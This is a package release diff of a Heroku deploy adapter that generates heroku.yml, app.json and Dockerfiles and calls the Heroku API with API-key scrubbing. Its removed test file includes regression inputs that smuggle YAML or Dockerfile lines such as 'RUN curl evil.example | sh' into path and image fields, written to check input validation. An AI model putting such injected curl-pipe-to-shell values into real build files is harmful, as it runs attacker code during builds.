@crewhaus/cloud-adapter-heroku 0.1.4 → 0.1.5

package/dist/index.d.ts

@@ -0,0 +1,88 @@
+import { type TargetShape } from "@crewhaus/docker-images";
+import { CrewhausError } from "@crewhaus/errors";
+/**
+ * Section 44 — `@crewhaus/cloud-adapter-heroku`
+ *
+ * One-click deploy adapter for [Heroku](https://heroku.com). Four surfaces:
+ *
+ *   - `herokuYmlFor({target, …})` — emits a deterministic `heroku.yml`
+ *     manifest pointing at the Container stack with a Docker build for
+ *     each process type (web for daemon shapes, worker for batch).
+ *
+ *   - `appJsonFor({target, name, …})` — emits a `app.json` Heroku Setup
+ *     manifest (`stack: container`, env vars, formation).
+ *
+ *   - `herokuDockerfileFor({target, baseImage})` — wraps the §32 base
+ *     image with a Heroku-tuned `ENV PORT=$PORT` and shell-form CMD —
+ *     Heroku injects `$PORT` at runtime and expects the container to
+ *     bind to it. No fixed `EXPOSE`.
+ *
+ *   - `deployToHeroku({apiKey, appName, …})` — creates an app via the
+ *     Heroku Platform API and sets the stack to `container`. Live
+ *     calls gated on `HEROKU_API_KEY` (or explicit `apiKey`) + an
+ *     injectable `fetchImpl`.
+ *
+ * SECURITY (T8 credential-leak guard): `scrubApiKey()` wraps every
+ * error path. Mirrors the §37 exporter-datadog approach.
+ *
+ * Targets: daemon shapes (channel, managed, batch, voice, browser).
+ */
+export declare class HerokuAdapterError extends CrewhausError {
+    readonly name = "HerokuAdapterError";
+    constructor(message: string, cause?: unknown);
+}
+export declare const HEROKU_TARGET_SHAPES: readonly ["channel", "managed", "batch", "voice", "browser"];
+export type HerokuTargetShape = (typeof HEROKU_TARGET_SHAPES)[number];
+export declare function isHerokuTargetShape(value: unknown): value is HerokuTargetShape;
+export type HerokuDynoSize = "basic" | "standard-1x" | "standard-2x" | "performance-m";
+export type HerokuYmlOptions = {
+    readonly target: TargetShape;
+    readonly dockerfilePath?: string;
+};
+/**
+ * Heroku.yml is YAML but small + deterministic enough to template
+ * inline. Three top-level sections: build, run, release (release omitted
+ * for now — no DB migrations in the shipped scope).
+ */
+export declare function herokuYmlFor(opts: HerokuYmlOptions): string;
+export type AppJsonOptions = {
+    readonly target: TargetShape;
+    readonly name: string;
+    readonly description?: string;
+    readonly envVars?: Readonly<Record<string, {
+        value?: string;
+        required?: boolean;
+    }>>;
+    readonly dynoSize?: HerokuDynoSize;
+    readonly quantity?: number;
+};
+/**
+ * `app.json` Heroku Setup manifest. Deterministic key order, sorted
+ * env-var keys.
+ */
+export declare function appJsonFor(opts: AppJsonOptions): string;
+export type HerokuDockerfileOptions = {
+    readonly target: TargetShape;
+    readonly baseImage: string;
+};
+export declare function herokuDockerfileFor(opts: HerokuDockerfileOptions): string;
+export type HerokuDeployRecord = {
+    readonly appId: string;
+    readonly appName: string;
+    readonly webUrl: string;
+};
+export type DeployToHerokuOptions = {
+    readonly appName: string;
+    readonly region?: "us" | "eu";
+    readonly apiKey?: string;
+    readonly apiBaseUrl?: string;
+    readonly fetchImpl?: typeof fetch;
+};
+export declare const HEROKU_DEFAULT_API_BASE = "https://api.heroku.com";
+export declare function scrubApiKey(message: string, apiKey: string | undefined): string;
+/**
+ * Create an app via Heroku Platform API. Stack is pinned to `container`
+ * so the heroku.yml + Dockerfile build path is used. All errors run
+ * through `scrubApiKey()`.
+ */
+export declare function deployToHeroku(opts: DeployToHerokuOptions): Promise<HerokuDeployRecord>;

package/dist/index.js

@@ -0,0 +1,218 @@
+import { isTargetShape } from "@crewhaus/docker-images";
+import { CrewhausError } from "@crewhaus/errors";
+/**
+ * Section 44 — `@crewhaus/cloud-adapter-heroku`
+ *
+ * One-click deploy adapter for [Heroku](https://heroku.com). Four surfaces:
+ *
+ *   - `herokuYmlFor({target, …})` — emits a deterministic `heroku.yml`
+ *     manifest pointing at the Container stack with a Docker build for
+ *     each process type (web for daemon shapes, worker for batch).
+ *
+ *   - `appJsonFor({target, name, …})` — emits a `app.json` Heroku Setup
+ *     manifest (`stack: container`, env vars, formation).
+ *
+ *   - `herokuDockerfileFor({target, baseImage})` — wraps the §32 base
+ *     image with a Heroku-tuned `ENV PORT=$PORT` and shell-form CMD —
+ *     Heroku injects `$PORT` at runtime and expects the container to
+ *     bind to it. No fixed `EXPOSE`.
+ *
+ *   - `deployToHeroku({apiKey, appName, …})` — creates an app via the
+ *     Heroku Platform API and sets the stack to `container`. Live
+ *     calls gated on `HEROKU_API_KEY` (or explicit `apiKey`) + an
+ *     injectable `fetchImpl`.
+ *
+ * SECURITY (T8 credential-leak guard): `scrubApiKey()` wraps every
+ * error path. Mirrors the §37 exporter-datadog approach.
+ *
+ * Targets: daemon shapes (channel, managed, batch, voice, browser).
+ */
+export class HerokuAdapterError extends CrewhausError {
+    name = "HerokuAdapterError";
+    constructor(message, cause) {
+        super("config", message, cause);
+    }
+}
+export const HEROKU_TARGET_SHAPES = [
+    "channel",
+    "managed",
+    "batch",
+    "voice",
+    "browser",
+];
+export function isHerokuTargetShape(value) {
+    return typeof value === "string" && HEROKU_TARGET_SHAPES.includes(value);
+}
+const PROCESS_FOR_TARGET = {
+    channel: "web",
+    managed: "web",
+    voice: "web",
+    browser: "web",
+    batch: "worker",
+};
+const APP_NAME_PATTERN = /^[a-z][a-z0-9-]{2,28}[a-z0-9]$/;
+// Free-form strings (`dockerfilePath`, `baseImage`) are interpolated verbatim
+// into the generated heroku.yml / Dockerfile. A newline or other control
+// character would let a caller inject arbitrary YAML sections or Dockerfile
+// instructions (e.g. a top-level `release:` block, or a `RUN` directive that
+// executes at build time). Legitimate filesystem paths and image references
+// never contain control characters, so reject them outright.
+// Matches C0 control characters (U+0000–U+001F) and DEL (U+007F).
+// eslint-disable-next-line no-control-regex
+// biome-ignore lint/suspicious/noControlCharactersInRegex: intentional control-character detection/sanitization
+const CONTROL_CHAR_PATTERN = /[\u0000-\u001f\u007f]/;
+function assertHerokuTarget(target) {
+    if (!isHerokuTargetShape(target)) {
+        throw new HerokuAdapterError(`target shape "${target}" is not supported by Heroku. Supported daemon shapes: ${HEROKU_TARGET_SHAPES.join(", ")}.`);
+    }
+}
+function assertAppName(name) {
+    if (!APP_NAME_PATTERN.test(name)) {
+        throw new HerokuAdapterError(`app name "${name}" is invalid. Must be lowercase letters/digits/hyphens, 4-30 chars, starts with a letter, no trailing hyphen.`);
+    }
+}
+function assertNoInjection(label, value) {
+    if (value.length === 0) {
+        throw new HerokuAdapterError(`${label} must not be empty.`);
+    }
+    if (CONTROL_CHAR_PATTERN.test(value)) {
+        throw new HerokuAdapterError(`${label} must not contain newlines or control characters.`);
+    }
+}
+/**
+ * Heroku.yml is YAML but small + deterministic enough to template
+ * inline. Three top-level sections: build, run, release (release omitted
+ * for now — no DB migrations in the shipped scope).
+ */
+export function herokuYmlFor(opts) {
+    if (!isTargetShape(opts.target)) {
+        throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
+    }
+    assertHerokuTarget(opts.target);
+    const dockerfilePath = opts.dockerfilePath ?? "Dockerfile.heroku";
+    assertNoInjection("dockerfilePath", dockerfilePath);
+    const processName = PROCESS_FOR_TARGET[opts.target];
+    const lines = [
+        "# Generated by @crewhaus/cloud-adapter-heroku — do not edit by hand",
+        "build:",
+        "  docker:",
+        `    ${processName}: ${dockerfilePath}`,
+        "run:",
+        `  ${processName}: bun run start`,
+    ];
+    return `${lines.join("\n")}\n`;
+}
+/**
+ * `app.json` Heroku Setup manifest. Deterministic key order, sorted
+ * env-var keys.
+ */
+export function appJsonFor(opts) {
+    if (!isTargetShape(opts.target)) {
+        throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
+    }
+    assertHerokuTarget(opts.target);
+    assertAppName(opts.name);
+    const processName = PROCESS_FOR_TARGET[opts.target];
+    const formation = {
+        [processName]: {
+            quantity: opts.quantity ?? 1,
+            size: opts.dynoSize ?? "basic",
+        },
+    };
+    const env = {};
+    if (opts.envVars) {
+        for (const key of Object.keys(opts.envVars).sort()) {
+            const value = opts.envVars[key];
+            if (value === undefined)
+                continue;
+            env[key] = value;
+        }
+    }
+    const manifest = {
+        name: opts.name,
+        stack: "container",
+        formation,
+    };
+    if (opts.description !== undefined) {
+        manifest["description"] = opts.description;
+    }
+    if (Object.keys(env).length > 0) {
+        manifest["env"] = env;
+    }
+    return `${JSON.stringify(manifest, null, 2)}\n`;
+}
+export function herokuDockerfileFor(opts) {
+    if (!isTargetShape(opts.target)) {
+        throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
+    }
+    assertHerokuTarget(opts.target);
+    assertNoInjection("baseImage", opts.baseImage);
+    // Heroku injects $PORT at runtime; container must bind to it. No EXPOSE.
+    const lines = [
+        `# Heroku-tuned wrapper around ${opts.baseImage}`,
+        `FROM ${opts.baseImage}`,
+        "ENV PORT=${PORT:-8080}",
+    ];
+    return `${lines.join("\n")}\n`;
+}
+export const HEROKU_DEFAULT_API_BASE = "https://api.heroku.com";
+function resolveApiKey(provided) {
+    const key = provided ?? process.env["HEROKU_API_KEY"];
+    if (key === undefined || key.length === 0) {
+        throw new HerokuAdapterError("HEROKU_API_KEY is required. Pass `apiKey` explicitly or set the env var.");
+    }
+    return key;
+}
+export function scrubApiKey(message, apiKey) {
+    if (apiKey === undefined || apiKey.length < 8)
+        return message;
+    return message.split(apiKey).join("[REDACTED:HEROKU_API_KEY]");
+}
+/**
+ * Create an app via Heroku Platform API. Stack is pinned to `container`
+ * so the heroku.yml + Dockerfile build path is used. All errors run
+ * through `scrubApiKey()`.
+ */
+export async function deployToHeroku(opts) {
+    assertAppName(opts.appName);
+    const apiKey = resolveApiKey(opts.apiKey);
+    const baseUrl = opts.apiBaseUrl ?? HEROKU_DEFAULT_API_BASE;
+    const fetchFn = opts.fetchImpl ?? fetch;
+    const region = opts.region ?? "us";
+    let response;
+    try {
+        response = await fetchFn(`${baseUrl}/apps`, {
+            method: "POST",
+            headers: {
+                Authorization: `Bearer ${apiKey}`,
+                Accept: "application/vnd.heroku+json; version=3",
+                "Content-Type": "application/json",
+            },
+            body: JSON.stringify({ name: opts.appName, stack: "container", region }),
+        });
+    }
+    catch (err) {
+        const msg = err instanceof Error ? err.message : String(err);
+        throw new HerokuAdapterError(`Heroku Platform API request failed: ${scrubApiKey(msg, apiKey)}`, err);
+    }
+    const text = await response.text();
+    const scrubbed = scrubApiKey(text, apiKey);
+    if (!response.ok) {
+        throw new HerokuAdapterError(`Heroku Platform API returned ${response.status} ${response.statusText}: ${scrubbed}`);
+    }
+    let parsed;
+    try {
+        parsed = JSON.parse(text);
+    }
+    catch (err) {
+        throw new HerokuAdapterError(`Heroku Platform API returned non-JSON body: ${scrubbed}`, err);
+    }
+    if (typeof parsed.id !== "string" || typeof parsed.name !== "string") {
+        throw new HerokuAdapterError(`Heroku Platform API response missing id/name: ${scrubbed}`);
+    }
+    return {
+        appId: parsed.id,
+        appName: parsed.name,
+        webUrl: parsed.web_url ?? `https://${parsed.name}.herokuapp.com/`,
+    };
+}

package/package.json

@@ -1,19 +1,22 @@
 {
   "name": "@crewhaus/cloud-adapter-heroku",
-  "version": "0.1.4",
+  "version": "0.1.5",
   "type": "module",
   "description": "One-click deploy adapter for Heroku — generates a heroku.yml + app.json + Dockerfile and wraps the Heroku Platform API for daemon target shapes (Section 44)",
-  "main": "src/index.ts",
-  "types": "src/index.ts",
+  "main": "dist/index.js",
+  "types": "dist/index.d.ts",
   "exports": {
-    ".": "./src/index.ts"
+    ".": {
+      "types": "./dist/index.d.ts",
+      "import": "./dist/index.js"
+    }
   },
   "scripts": {
     "test": "bun test src"
   },
   "dependencies": {
-    "@crewhaus/docker-images": "0.1.4",
-    "@crewhaus/errors": "0.1.4"
+    "@crewhaus/docker-images": "0.1.5",
+    "@crewhaus/errors": "0.1.5"
   },
   "license": "Apache-2.0",
   "author": {
@@ -33,5 +36,5 @@
   "publishConfig": {
     "access": "public"
   },
-  "files": ["src", "README.md", "LICENSE", "NOTICE"]
+  "files": ["dist", "README.md", "LICENSE", "NOTICE"]
 }

package/src/index.test.ts

@@ -1,457 +0,0 @@
-import { afterEach, describe, expect, test } from "bun:test";
-import {
-  HEROKU_DEFAULT_API_BASE,
-  HEROKU_TARGET_SHAPES,
-  HerokuAdapterError,
-  appJsonFor,
-  deployToHeroku,
-  herokuDockerfileFor,
-  herokuYmlFor,
-  isHerokuTargetShape,
-  scrubApiKey,
-} from "./index";
-
-const API_KEY_ENV = "HEROKU_API_KEY";
-
-describe("isHerokuTargetShape", () => {
-  test("accepts daemon shapes", () => {
-    for (const shape of HEROKU_TARGET_SHAPES) {
-      expect(isHerokuTargetShape(shape)).toBe(true);
-    }
-  });
-  test("rejects one-shot shapes", () => {
-    for (const shape of ["cli", "workflow", "eval", "graph", "pipeline", "crew", "research"]) {
-      expect(isHerokuTargetShape(shape)).toBe(false);
-    }
-  });
-});
-
-describe("herokuYmlFor", () => {
-  test("web shape gets web process", () => {
-    const yml = herokuYmlFor({ target: "channel" });
-    expect(yml).toContain("build:");
-    expect(yml).toContain("docker:");
-    expect(yml).toContain("web: Dockerfile.heroku");
-    expect(yml).toContain("run:");
-    expect(yml).toContain("web: bun run start");
-  });
-
-  test("batch shape gets worker process", () => {
-    const yml = herokuYmlFor({ target: "batch" });
-    expect(yml).toContain("worker: Dockerfile.heroku");
-    expect(yml).toContain("worker: bun run start");
-    expect(yml).not.toContain("web:");
-  });
-
-  test("respects dockerfile path override", () => {
-    const yml = herokuYmlFor({ target: "channel", dockerfilePath: "Dockerfile.prod" });
-    expect(yml).toContain("web: Dockerfile.prod");
-  });
-
-  test("rejects unsupported shapes", () => {
-    expect(() => herokuYmlFor({ target: "cli" })).toThrow(HerokuAdapterError);
-  });
-
-  // Regression: a `dockerfilePath` containing a newline could inject arbitrary
-  // top-level YAML sections (e.g. a `release:` block Heroku would execute).
-  test("rejects dockerfile path with newline injection", () => {
-    expect(() =>
-      herokuYmlFor({
-        target: "channel",
-        dockerfilePath: "Dockerfile\nrelease:\n  command: ['curl evil | sh']",
-      }),
-    ).toThrow(HerokuAdapterError);
-  });
-
-  test("rejects dockerfile path with control character", () => {
-    expect(() => herokuYmlFor({ target: "channel", dockerfilePath: "Dockerfile\t" })).toThrow(
-      HerokuAdapterError,
-    );
-  });
-
-  test("rejects empty dockerfile path", () => {
-    expect(() => herokuYmlFor({ target: "channel", dockerfilePath: "" })).toThrow(
-      HerokuAdapterError,
-    );
-  });
-});
-
-describe("appJsonFor", () => {
-  test("emits container stack with formation", () => {
-    const parsed = JSON.parse(appJsonFor({ target: "channel", name: "my-bot" }));
-    expect(parsed.stack).toBe("container");
-    expect(parsed.name).toBe("my-bot");
-    expect(parsed.formation.web).toEqual({ quantity: 1, size: "basic" });
-  });
-
-  test("worker shape gets worker formation", () => {
-    const parsed = JSON.parse(appJsonFor({ target: "batch", name: "my-worker" }));
-    expect(parsed.formation.worker).toEqual({ quantity: 1, size: "basic" });
-    expect(parsed.formation.web).toBeUndefined();
-  });
-
-  test("env vars are sorted deterministically", () => {
-    const a = appJsonFor({
-      target: "channel",
-      name: "my-bot",
-      envVars: {
-        ZETA: { value: "1" },
-        ALPHA: { value: "2" },
-      },
-    });
-    const b = appJsonFor({
-      target: "channel",
-      name: "my-bot",
-      envVars: {
-        ALPHA: { value: "2" },
-        ZETA: { value: "1" },
-      },
-    });
-    expect(a).toBe(b);
-    expect(a.indexOf('"ALPHA"')).toBeLessThan(a.indexOf('"ZETA"'));
-  });
-
-  // An env-var entry that is explicitly `undefined` (only reachable from
-  // untyped JS callers) is skipped rather than serialized.
-  test("skips undefined env-var entries", () => {
-    const out = appJsonFor({
-      target: "channel",
-      name: "my-bot",
-      envVars: {
-        KEEP: { value: "1" },
-        DROP: undefined as unknown as { value?: string },
-      },
-    });
-    const parsed = JSON.parse(out);
-    expect(parsed.env).toEqual({ KEEP: { value: "1" } });
-    expect(parsed.env.DROP).toBeUndefined();
-  });
-
-  // When no env vars survive filtering, the `env` key is omitted entirely.
-  test("omits env key when no env vars provided", () => {
-    const parsed = JSON.parse(appJsonFor({ target: "channel", name: "my-bot" }));
-    expect(parsed.env).toBeUndefined();
-  });
-
-  test("includes description when provided", () => {
-    const parsed = JSON.parse(
-      appJsonFor({ target: "channel", name: "my-bot", description: "a demo bot" }),
-    );
-    expect(parsed.description).toBe("a demo bot");
-  });
-
-  test("respects dyno size and quantity", () => {
-    const parsed = JSON.parse(
-      appJsonFor({
-        target: "channel",
-        name: "my-bot",
-        dynoSize: "performance-m",
-        quantity: 3,
-      }),
-    );
-    expect(parsed.formation.web.size).toBe("performance-m");
-    expect(parsed.formation.web.quantity).toBe(3);
-  });
-
-  test("rejects invalid app names", () => {
-    expect(() => appJsonFor({ target: "channel", name: "MyBot" })).toThrow(HerokuAdapterError);
-    expect(() => appJsonFor({ target: "channel", name: "ab" })).toThrow(HerokuAdapterError);
-    expect(() => appJsonFor({ target: "channel", name: "1starts-with-digit" })).toThrow(
-      HerokuAdapterError,
-    );
-    expect(() => appJsonFor({ target: "channel", name: "trailing-" })).toThrow(HerokuAdapterError);
-  });
-
-  test("rejects unsupported shapes", () => {
-    expect(() => appJsonFor({ target: "cli", name: "my-bot" })).toThrow(HerokuAdapterError);
-  });
-});
-
-describe("herokuDockerfileFor", () => {
-  test("binds to runtime PORT", () => {
-    const df = herokuDockerfileFor({ target: "channel", baseImage: "crewhaus/channel:0.1.0" });
-    expect(df).toContain("FROM crewhaus/channel:0.1.0");
-    expect(df).toContain("ENV PORT=${PORT:-8080}");
-    expect(df).not.toContain("EXPOSE");
-  });
-
-  test("rejects unsupported shapes", () => {
-    expect(() => herokuDockerfileFor({ target: "cli", baseImage: "x" })).toThrow(
-      HerokuAdapterError,
-    );
-  });
-
-  // Regression: a `baseImage` containing a newline could inject arbitrary
-  // Dockerfile instructions (e.g. a `RUN` directive executed at build time).
-  test("rejects base image with newline injection", () => {
-    expect(() =>
-      herokuDockerfileFor({
-        target: "channel",
-        baseImage: "crewhaus/channel:0.1.0\nRUN curl evil.example | sh",
-      }),
-    ).toThrow(HerokuAdapterError);
-  });
-
-  test("rejects base image with control character", () => {
-    expect(() =>
-      herokuDockerfileFor({ target: "channel", baseImage: "crewhaus/channel:0.1.0\t" }),
-    ).toThrow(HerokuAdapterError);
-  });
-
-  test("rejects empty base image", () => {
-    expect(() => herokuDockerfileFor({ target: "channel", baseImage: "" })).toThrow(
-      HerokuAdapterError,
-    );
-  });
-});
-
-describe("scrubApiKey", () => {
-  test("redacts the key", () => {
-    expect(scrubApiKey("auth hrk_abcdefghij12345 denied", "hrk_abcdefghij12345")).toBe(
-      "auth [REDACTED:HEROKU_API_KEY] denied",
-    );
-  });
-  test("ignores short keys", () => {
-    expect(scrubApiKey("untouched", "abc")).toBe("untouched");
-  });
-  test("passes through when key is undefined", () => {
-    expect(scrubApiKey("untouched", undefined)).toBe("untouched");
-  });
-});
-
-describe("deployToHeroku", () => {
-  const ORIGINAL_KEY = process.env[API_KEY_ENV];
-  afterEach(() => {
-    if (ORIGINAL_KEY === undefined) delete process.env[API_KEY_ENV];
-    else process.env[API_KEY_ENV] = ORIGINAL_KEY;
-  });
-
-  test("creates an app with container stack", async () => {
-    let observed: { url: string; init: RequestInit } | undefined;
-    const fetchImpl = (async (url: string | URL, init?: RequestInit) => {
-      observed = { url: String(url), init: init ?? {} };
-      return new Response(
-        JSON.stringify({
-          id: "app-uuid-123",
-          name: "my-bot",
-          web_url: "https://my-bot.herokuapp.com/",
-        }),
-        { status: 201 },
-      );
-    }) as unknown as typeof fetch;
-    const record = await deployToHeroku({
-      appName: "my-bot",
-      apiKey: "hrk_testkey_abcdef",
-      fetchImpl,
-    });
-    expect(observed?.url).toBe(`${HEROKU_DEFAULT_API_BASE}/apps`);
-    const body = JSON.parse(String(observed?.init.body));
-    expect(body.stack).toBe("container");
-    expect(body.region).toBe("us");
-    expect((observed?.init.headers as Record<string, string>)["Accept"]).toBe(
-      "application/vnd.heroku+json; version=3",
-    );
-    expect(record.appId).toBe("app-uuid-123");
-    expect(record.appName).toBe("my-bot");
-    expect(record.webUrl).toBe("https://my-bot.herokuapp.com/");
-  });
-
-  test("respects region override", async () => {
-    let body: Record<string, unknown> = {};
-    const fetchImpl = (async (_url: string | URL, init?: RequestInit) => {
-      body = JSON.parse(String(init?.body));
-      return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
-    }) as unknown as typeof fetch;
-    await deployToHeroku({
-      appName: "my-bot",
-      region: "eu",
-      apiKey: "hrk_testkey_abcdef",
-      fetchImpl,
-    });
-    expect(body["region"]).toBe("eu");
-  });
-
-  // Custom apiBaseUrl is honored (also documents the SSRF surface: callers
-  // own the base URL, so it must come from trusted config).
-  test("respects custom apiBaseUrl", async () => {
-    let observedUrl = "";
-    const fetchImpl = (async (url: string | URL) => {
-      observedUrl = String(url);
-      return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
-    }) as unknown as typeof fetch;
-    await deployToHeroku({
-      appName: "my-bot",
-      apiKey: "hrk_testkey_abcdef",
-      apiBaseUrl: "https://api.heroku.example",
-      fetchImpl,
-    });
-    expect(observedUrl).toBe("https://api.heroku.example/apps");
-  });
-
-  test("uses HEROKU_API_KEY env var when apiKey not passed", async () => {
-    process.env[API_KEY_ENV] = "hrk_env_key_abcdef";
-    let authHeader = "";
-    const fetchImpl = (async (_url: string | URL, init?: RequestInit) => {
-      authHeader = (init?.headers as Record<string, string>)["Authorization"] ?? "";
-      return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
-    }) as unknown as typeof fetch;
-    await deployToHeroku({ appName: "my-bot", fetchImpl });
-    expect(authHeader).toBe("Bearer hrk_env_key_abcdef");
-  });
-
-  test("scrubs API key from error bodies", async () => {
-    const fetchImpl = (async () =>
-      new Response("unauthorized — key hrk_leakingkey_full denied", {
-        status: 401,
-        statusText: "Unauthorized",
-      })) as unknown as typeof fetch;
-    let caught: Error | undefined;
-    try {
-      await deployToHeroku({
-        appName: "my-bot",
-        apiKey: "hrk_leakingkey_full",
-        fetchImpl,
-      });
-    } catch (err) {
-      caught = err as Error;
-    }
-    expect(caught?.message).not.toContain("hrk_leakingkey_full");
-    expect(caught?.message).toContain("[REDACTED:HEROKU_API_KEY]");
-  });
-
-  // The transport-level failure path (fetch rejects) must also scrub the key.
-  test("scrubs API key from transport errors", async () => {
-    const fetchImpl = (async () => {
-      throw new Error("connect ECONNREFUSED while using Bearer hrk_leakingkey_full");
-    }) as unknown as typeof fetch;
-    let caught: Error | undefined;
-    try {
-      await deployToHeroku({
-        appName: "my-bot",
-        apiKey: "hrk_leakingkey_full",
-        fetchImpl,
-      });
-    } catch (err) {
-      caught = err as Error;
-    }
-    expect(caught).toBeInstanceOf(HerokuAdapterError);
-    expect(caught?.message).toContain("Heroku Platform API request failed");
-    expect(caught?.message).not.toContain("hrk_leakingkey_full");
-    expect(caught?.message).toContain("[REDACTED:HEROKU_API_KEY]");
-  });
-
-  // Non-Error throw value from the transport is stringified, not crashed on.
-  test("handles non-Error transport rejection", async () => {
-    const fetchImpl = (async () => {
-      throw "string failure";
-    }) as unknown as typeof fetch;
-    let caught: Error | undefined;
-    try {
-      await deployToHeroku({
-        appName: "my-bot",
-        apiKey: "hrk_testkey_abcdef",
-        fetchImpl,
-      });
-    } catch (err) {
-      caught = err as Error;
-    }
-    expect(caught).toBeInstanceOf(HerokuAdapterError);
-    expect(caught?.message).toContain("string failure");
-  });
-
-  test("throws clearly when no API key configured", async () => {
-    delete process.env[API_KEY_ENV];
-    let caught: Error | undefined;
-    try {
-      await deployToHeroku({ appName: "my-bot" });
-    } catch (err) {
-      caught = err as Error;
-    }
-    expect(caught).toBeInstanceOf(HerokuAdapterError);
-    expect(caught?.message).toContain("HEROKU_API_KEY is required");
-  });
-
-  // An empty-string env var is treated the same as a missing one.
-  test("throws when HEROKU_API_KEY is empty", async () => {
-    process.env[API_KEY_ENV] = "";
-    let caught: Error | undefined;
-    try {
-      await deployToHeroku({ appName: "my-bot" });
-    } catch (err) {
-      caught = err as Error;
-    }
-    expect(caught).toBeInstanceOf(HerokuAdapterError);
-    expect(caught?.message).toContain("HEROKU_API_KEY is required");
-  });
-
-  test("validates app name before network call", async () => {
-    let called = false;
-    const fetchImpl = (async () => {
-      called = true;
-      return new Response("", { status: 201 });
-    }) as unknown as typeof fetch;
-    let caught: Error | undefined;
-    try {
-      await deployToHeroku({
-        appName: "BadCaps",
-        apiKey: "hrk_testkey_abcdef",
-        fetchImpl,
-      });
-    } catch (err) {
-      caught = err as Error;
-    }
-    expect(caught).toBeInstanceOf(HerokuAdapterError);
-    expect(called).toBe(false);
-  });
-
-  test("derives web_url when API omits it", async () => {
-    const fetchImpl = (async () =>
-      new Response(JSON.stringify({ id: "x", name: "my-bot" }), {
-        status: 201,
-      })) as unknown as typeof fetch;
-    const record = await deployToHeroku({
-      appName: "my-bot",
-      apiKey: "hrk_testkey_abcdef",
-      fetchImpl,
-    });
-    expect(record.webUrl).toBe("https://my-bot.herokuapp.com/");
-  });
-
-  // Body that parses as JSON but lacks id/name is rejected (scrubbed).
-  test("rejects JSON response missing id/name", async () => {
-    const fetchImpl = (async () =>
-      new Response(JSON.stringify({ message: "created but weird" }), {
-        status: 201,
-      })) as unknown as typeof fetch;
-    let caught: Error | undefined;
-    try {
-      await deployToHeroku({
-        appName: "my-bot",
-        apiKey: "hrk_testkey_abcdef",
-        fetchImpl,
-      });
-    } catch (err) {
-      caught = err as Error;
-    }
-    expect(caught).toBeInstanceOf(HerokuAdapterError);
-    expect(caught?.message).toContain("missing id/name");
-  });
-
-  // A 2xx response whose body is not JSON surfaces a clear parse error.
-  test("rejects non-JSON success body", async () => {
-    const fetchImpl = (async () =>
-      new Response("<html>not json</html>", { status: 201 })) as unknown as typeof fetch;
-    let caught: Error | undefined;
-    try {
-      await deployToHeroku({
-        appName: "my-bot",
-        apiKey: "hrk_testkey_abcdef",
-        fetchImpl,
-      });
-    } catch (err) {
-      caught = err as Error;
-    }
-    expect(caught).toBeInstanceOf(HerokuAdapterError);
-    expect(caught?.message).toContain("non-JSON body");
-  });
-});

package/src/index.ts

@@ -1,280 +0,0 @@
-import { type TargetShape, isTargetShape } from "@crewhaus/docker-images";
-import { CrewhausError } from "@crewhaus/errors";
-
-/**
- * Section 44 — `@crewhaus/cloud-adapter-heroku`
- *
- * One-click deploy adapter for [Heroku](https://heroku.com). Four surfaces:
- *
- *   - `herokuYmlFor({target, …})` — emits a deterministic `heroku.yml`
- *     manifest pointing at the Container stack with a Docker build for
- *     each process type (web for daemon shapes, worker for batch).
- *
- *   - `appJsonFor({target, name, …})` — emits a `app.json` Heroku Setup
- *     manifest (`stack: container`, env vars, formation).
- *
- *   - `herokuDockerfileFor({target, baseImage})` — wraps the §32 base
- *     image with a Heroku-tuned `ENV PORT=$PORT` and shell-form CMD —
- *     Heroku injects `$PORT` at runtime and expects the container to
- *     bind to it. No fixed `EXPOSE`.
- *
- *   - `deployToHeroku({apiKey, appName, …})` — creates an app via the
- *     Heroku Platform API and sets the stack to `container`. Live
- *     calls gated on `HEROKU_API_KEY` (or explicit `apiKey`) + an
- *     injectable `fetchImpl`.
- *
- * SECURITY (T8 credential-leak guard): `scrubApiKey()` wraps every
- * error path. Mirrors the §37 exporter-datadog approach.
- *
- * Targets: daemon shapes (channel, managed, batch, voice, browser).
- */
-
-export class HerokuAdapterError extends CrewhausError {
-  override readonly name = "HerokuAdapterError";
-  constructor(message: string, cause?: unknown) {
-    super("config", message, cause);
-  }
-}
-
-export const HEROKU_TARGET_SHAPES = [
-  "channel",
-  "managed",
-  "batch",
-  "voice",
-  "browser",
-] as const satisfies readonly TargetShape[];
-
-export type HerokuTargetShape = (typeof HEROKU_TARGET_SHAPES)[number];
-
-export function isHerokuTargetShape(value: unknown): value is HerokuTargetShape {
-  return typeof value === "string" && (HEROKU_TARGET_SHAPES as readonly string[]).includes(value);
-}
-
-export type HerokuDynoSize = "basic" | "standard-1x" | "standard-2x" | "performance-m";
-
-const PROCESS_FOR_TARGET: Readonly<Record<HerokuTargetShape, "web" | "worker">> = {
-  channel: "web",
-  managed: "web",
-  voice: "web",
-  browser: "web",
-  batch: "worker",
-};
-
-const APP_NAME_PATTERN = /^[a-z][a-z0-9-]{2,28}[a-z0-9]$/;
-
-// Free-form strings (`dockerfilePath`, `baseImage`) are interpolated verbatim
-// into the generated heroku.yml / Dockerfile. A newline or other control
-// character would let a caller inject arbitrary YAML sections or Dockerfile
-// instructions (e.g. a top-level `release:` block, or a `RUN` directive that
-// executes at build time). Legitimate filesystem paths and image references
-// never contain control characters, so reject them outright.
-// Matches C0 control characters (U+0000–U+001F) and DEL (U+007F).
-// eslint-disable-next-line no-control-regex
-// biome-ignore lint/suspicious/noControlCharactersInRegex: intentional control-character detection/sanitization
-const CONTROL_CHAR_PATTERN = /[\u0000-\u001f\u007f]/;
-
-function assertHerokuTarget(target: TargetShape): asserts target is HerokuTargetShape {
-  if (!isHerokuTargetShape(target)) {
-    throw new HerokuAdapterError(
-      `target shape "${target}" is not supported by Heroku. Supported daemon shapes: ${HEROKU_TARGET_SHAPES.join(", ")}.`,
-    );
-  }
-}
-
-function assertAppName(name: string): void {
-  if (!APP_NAME_PATTERN.test(name)) {
-    throw new HerokuAdapterError(
-      `app name "${name}" is invalid. Must be lowercase letters/digits/hyphens, 4-30 chars, starts with a letter, no trailing hyphen.`,
-    );
-  }
-}
-
-function assertNoInjection(label: string, value: string): void {
-  if (value.length === 0) {
-    throw new HerokuAdapterError(`${label} must not be empty.`);
-  }
-  if (CONTROL_CHAR_PATTERN.test(value)) {
-    throw new HerokuAdapterError(`${label} must not contain newlines or control characters.`);
-  }
-}
-
-export type HerokuYmlOptions = {
